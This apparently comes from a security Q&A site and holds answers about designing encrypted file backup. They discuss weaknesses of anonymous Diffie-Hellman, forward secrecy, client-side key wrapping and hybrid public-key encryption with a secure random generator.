The first issue here is how you describe the use of "public" and "private" in terms of Diffie-Hellman. In DH, you don't have a single public and private keypair. Both parties have a public and private keypair, and they both exchange their public keys with each other. From that exchange, they may both agree upon some shared secret.
The next issue that arises comes from that misunderstanding. Two DH keypairs will generate the same shared secret every time you perform a DH key exchange. The process is deterministic. This means that every time you perform a file transfer, the same bulk encryption key is used for that user. This is problematic when you want to encrypt a lot of data (gigabytes of files) because you don't have any key rotation. Your question on key rotation touches on this, but focuses on the wrong target (data at rest).
The most important fault of this scheme is that, while public component of the DH keypair does not need to be encrypted, it must be authenticated. Your scheme uses what we call "anonymous" Diffie-Hellman, because the DH exchange is not authenticated. This is vulnerable to a man-in-the-middle attack whereby an attacker gets in the middle of the DH exchange and sends the server their own DH public key instead of the client's. They can then perform a key exchange with you, make another key exchange with the server, and proxy all the data through and access the plaintext.
Another problem is that using long-term DH keypairs alone for key exchange lacks a feature called forward secrecy. Consider what happens if an attacker records all data over the network, passively, then later compromises one of the private keys: they can use the private key to decrypt all the key exchanges that they have recorded. This compromises all prior file transfers. The solution to this is to use something called ephemeral key exchange, but it's unclear how this fits into your protocol because of the other issues.
The main question I would ask is: does the server need to be able to decrypt the files, or is it just storing encrypted data that the client can later decrypt?
If the server does not need access to the files, you don't need DH. The "standard" scheme for these situations is:

Derive an unlock key from somewhere, that only the client knows. This could be from a passphrase with a KDF such as Argon2, or just a random sequence of bytes in a file on the client machine if you don't need or want the user to have to enter a password. Just keep in mind that if the client computer is compromised and you use the latter approach, all the file data can be decrypted.
Randomly generate a file key and IV/nonce. Encrypt the file data with AES-GCM or ChaCha20-Poly1305, using the file key.
Encrypt the file key and IV/nonce with AES-ECB, using the unlock key. This is one of the few cases where AES-ECB actually makes sense to use, because you know the blocks will be unique and random, and you're never re-using the same key to encrypt the same data.
Transfer the encrypted file key and the encrypted data to the server, preferably over HTTPS. You can technically use HTTP because the data is encrypted and an attacker can't decrypt it anyway, but HTTPS provides guarantees about the identity of the server, and also serves as an extra layer of security in case you have an implementation bug somewhere.
The server stores this data.
When the client wants to decrypt the data, it downloads the encrypted file key and the encrypted data. It then uses the unlock key to decrypted the file key, and uses that to authenticate and decrypt the file data.

Ultimately, this is identical to putting the file in an encrypted zip and uploading it somewhere.
If the server does require access to the files, then it's a bit more complicated.
If the server needs to access the plaintext data at any point, even without user presence, then there's no point in encrypting the data on the server. If the server has the keys to decrypt the data, and those keys are stored on the server too, it's like putting the key right next to the padlock. In such a case you should just upload the plaintext file to the server over HTTPS, and have the server store them in plaintext. You can and should use full-disk encryption on the server itself, but if an attacker compromises the server and the server has access to the data, then the data is also compromised. There's no way around that.
If the server only needs access to the plaintext data when the user is present, e.g. during a web request, then you use the same "no server access" scheme as above but give the server the unlock key over HTTPS when needed. The server keeps the unlock key for as long as it needs it, then throws it away. There are variants of this approach for slightly different threat models, but that's a complex topic and not worth discussing until your requirements are clear.


How secure is this security protocol? I'm developing an application that will encrypt a bunch of files the client has on their machine and then send them to a server, to back them up. I need to encrypt the files so that other clients/third parties can't access them. The problem is that I'd like to have a key hard-coded, to reduce the complexity of my program, but I can't have all clients share the same key or have third parties decompile the binary file to get the key (I know that hard-coded keys are a Bad Idea). Note that it's not viable to use plain assymetric key encryption since the performance would not be good enough.

The solution I've came up with consists of hard-coding the public key of a public-private key pair that belongs to the server, which I would use to encrypt a symmetric key, and then generate a random number (used as a symmetric key), encrypt the necessary files with it and then encrypt the symmetric key with the public key and send it to a database on the server, over a network. The point t of using assymetric key encryption is so that the transmission of the key is secure.

How secure is this protocol? Will it suffice to use a PRNG? Is there a better existing protocol?

What you have thought through on your own is the standard way of doing encryption for network traffic:

Generate a random symmetric key,
Encrypt entire "message" using symmetric key (plus IV, nonce, etc),
Encrypt symmetric key using target's (in this case, your central server) public key,
Destroy the 'plaintext' symmetric key,
Ship the encrypted goods to the destination(s).

Your concern regarding PRNG is correct.  Since you are probably using an encryption package of some kind (usually a library in your programming language), there is probably a cryptographically-secure random number generator in that package.  Do NOT rely on standard PRNGs (rand(), rnd(), etc).  Also, make sure that the encrypted bytes are converted to a usable format for transmission, as most common transmission protocols tend to choke on raw binary.  Base64 "ASCII armor" is the standard.